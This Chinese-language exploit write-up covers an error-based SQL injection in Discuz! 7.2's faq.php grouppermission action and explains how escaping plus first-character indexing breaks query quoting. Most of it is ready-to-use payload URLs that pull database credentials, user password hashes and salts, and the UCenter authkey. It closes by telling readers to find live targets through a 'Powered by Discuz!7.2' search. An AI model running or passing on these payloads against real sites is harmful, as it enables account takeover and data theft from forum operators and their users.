源码~ http://pan.baidu.com/s/1gfkvJrX
poc
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
discuz开启全局变量注册,所以不用声明请求的方式。
关键代码 148行
} elseif($action == 'grouppermission') {
...
...
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
定义数组groupids,
进入for循环,然后把$gids中第一个数组赋值给$groupids,看到这里的$row[0],当遇到数组时,取第一个数组,当遇到字符串时,取字符串的第一个字符。
discuz在全局会对GET数组进行addslashes转义,也就是说会将 ' 转义成 \',所以,如果我们的传入的参数是:gids[1]= ' 的话, 会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是 \ ,把转义符号取出来了
这时候$row[0]取出来的值是反斜杠 \
190行末尾 对 $groupids 用implodeids函数进行了处理
imlodeids函数(/include/global.func.php中 672行)
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}
如果数组不为空就将其用 ‘,’ 分隔开,就好像1234返回’1′,’2′,’3′,’4′
但前面取出了一个 \ 转义符号就变成了
’1 ′,’ \ ’,’ 3 ′,’ 4 ′ == ’1′, ’ \’ , ’ 3 ′,’ 4 ′
第4个单引号就被转义了,第3个单引号就与第5个单引号闭合了,那么 “3” 就逃逸出了单引号的限制,产生了注入。
faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理
分析一下poc
我们的poc是gids[99]=%27,由于discuz7.2的全局变量会对'进行自动过滤,也就是添加反斜杠 \'
这时候$row[0]取出来的值是反斜杠\
第二个参数取出来的是
) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#
implodeids()函数进行切割,并加上',' 这时候返回的值是
'7','\',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#'
我们可以看到反斜杠干掉了一个单引号,剩下另一个单引号用#来注释掉,这时候就能跳出来执行sql语句了,对于'\',' 由于反斜杠干掉了一个单引号,所以他被认为是个字符串。
整个查询是这样的:
SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')
copy的exp:
(1)获取mysql用户信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28user%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(2)获取数据库版本信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(3)获取数据库信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28database%28%29,floor%28rand%280%29*2%29,0x3a,concat%28user%28%29%29%20%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(4)获取数据库用户名和密码
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(user,0x3a,password,0x3a)%20from%20mysql.user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
(5)获取用户名、email、密码和salt信息
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt,0x3a,secques%29%20from%20cdb_uc_memberslimit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
(6)获取uc_key
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23
(7)对指定uid获取密码
http://127.0.0.1/dz72/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,email,0x3a,password,0x3a,salt%29%20from%20cdb_uc_memberswhere uid=1 %20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
通过google、百度等搜索引擎搜索 “Powered by Discuz!7.2” 。你懂的 。